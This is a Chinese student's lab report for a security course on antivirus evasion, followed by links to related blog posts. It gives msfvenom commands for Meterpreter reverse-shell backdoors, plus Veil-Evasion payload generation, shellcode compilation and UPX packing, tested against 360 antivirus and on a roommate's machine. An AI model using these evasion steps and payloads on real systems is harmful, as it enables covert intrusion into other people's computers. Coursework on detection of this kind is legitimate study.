1.实验要求

  •   1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
  •   1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
  • (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  •   1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2.实验过程

2.1正确使用msf编码器

实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:

很惨,71个杀软有52个都检测出来了。

tips:我们用msf编码器对后门程序进行一次编码:-e:选择编码器,-i是迭代的次数,-b:是payload中需要去除的字符。因为shellcode以\x00为结束符,所以在-b后面要跟一个\x00

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe

貌似情况好一点了,但是并没有什么大的改善。

2.2 msfvenom生成jar文件

在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar

将生成的jar文件在virustotal上进行检测:

通过率有一半了,感觉比之前的exe文件要好很多。

2.3 msfvenom生成php文件

在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php

继续在virustotal上检测:

emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)

2.4 使用veil-evasion生成后门程序及检测

tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软

在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)

安装成功之后,输入veil,再用use evasion命令进入Evil-Evasion界面:

输入命令use c/meterpreter/rev_tcp.py进入配置界面:

设置反弹连接IP:set LHOST 192.168.181.136   设置端口:set LPORT 4312   输入generate生成文件,接着输入playload的名字::

保存路径:/var/lib/veil/output/compiled/veil_c_4312.exe

这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。

2.5 半手工注入Shellcode并执行

在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c 用c语言生成一段shellcode。

创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:

使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe 编译这个shellcode.c文件为可执行文件:

放到virscan上检测:

拷贝到windows上用360软件查杀病毒:

tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?

2.6加压缩壳

在linux中键入upx shellcode.exe  -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:

上传到virscan上检测:

wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。

呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:

3.通过组合应用各种技术实现恶意代码免杀

经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:

生成过程:

查杀结果及360版本号:

发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:

可以完成回弹,nice

但是virscan上结果依然不容乐观。

我在veil中重新选了ruby格式的后门程序:

有些改善,但还是无法实现彻底免杀,勉强维持生活。

发给室友进行免杀测试与回弹:

感觉学到了什么好办法~可以搞室友了。

4.实验总结

4.1.基础问题回答

  (1)杀软是如何检测出恶意代码的?

  1.基于特征码的检测

  2.启发式恶意软件检测

  3.基于行为的恶意软件检测

  (2)免杀是做什么?

  防止被杀毒软件检测出来

  (3)免杀的基本方法有哪些?

  1.改变特征码

  2.加壳

4.2.实践总结与体会

  经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。

4.3开启杀软能绝对防止电脑中恶意代码吗?

  事实证明并不能。

Exp3免杀原理与实践 20164312 马孝涛的更多相关文章

  1. Exp2后门原理与实践 20164312马孝涛

    实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...

  2. NetSec2019 20165327 Exp3 免杀原理与实践

    NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...

  3. Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...

  4. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  5. 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233

    Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...

  6. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  7. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  8. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

随机推荐

  1. 修改eclipse的workspace目录

    打开Window,选择Preferences->General-->Startup and Shutdown->Workspaces,勾选Prompt for workspace o ...

  2. Hexo的更新 主题的更换

    1:HEXO更新 ①hexo generate ②hexo deploy 2:  HEXO主题的更换,①找到主题的github地址后 进入自己的HEXO文件夹然后 git clone xxxx(地址) ...

  3. 一个相对健壮的node 静态http服务器

    先上代码,然后说说坑,算是一个总结,以后在mac上就用这个开启服务调试了,挺好.然后接着想写一个动态的返回页面的,刚好练手mv*的框架. var http = require('http'); var ...

  4. Nginx多虚拟主机下泛域名配置

    http://www.tuicool.com/articles/F3Azuq 近上一个应用,让用户可以自定义二级域名,所以要配置一个泛域名来解析用户的自定义域名.  首先来说说nginx下的泛域名配置 ...

  5. CORS(跨域资源共享) 的配置

    http://blog.csdn.net/ohyoyo2014/article/details/24863197 兼容情况: 各种新版本的ie10,firefox,opera,safari,chrom ...

  6. map用法

    描述: map()会根据提供的参数对指定序列做映射. 语法: map(function,iterable) function:函数以参数列表中的每一个元素调用function函数,返回包含每次func ...

  7. HTTP状态码的详细解释,供参考

    HTTP状态码详解 常用对照表 状态码 含义 100 客户端应当继续发送请求.这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝.客户端应当继续发送请求的剩余部分,或者如果请求已经 ...

  8. vue中引入babel步骤

    vue中引入babel步骤 vue项目中普遍使用es6语法,但有时我们的项目需要兼容低版本浏览器,这时就需要引入babel插件,将es6转成es5. 1.安装babel-polyfill插件 npm ...

  9. Linux安装任意版本的dotnet环境

    下载地址 https://www.microsoft.com/net/download/dotnet-core/2.1 安装符合服务器CPU架构的二进制包. 如果架构不对,会出现一下错误: -bash ...

  10. Haskell学习-函数式编程初探

    原文地址:Haskell学习-函数式编程初探   为什么要学习函数式编程?为什么要学习Haskell?   .net到前端,C#和JavaScript对我来说如果谈不上精通,最起码也算是到了非常熟悉的 ...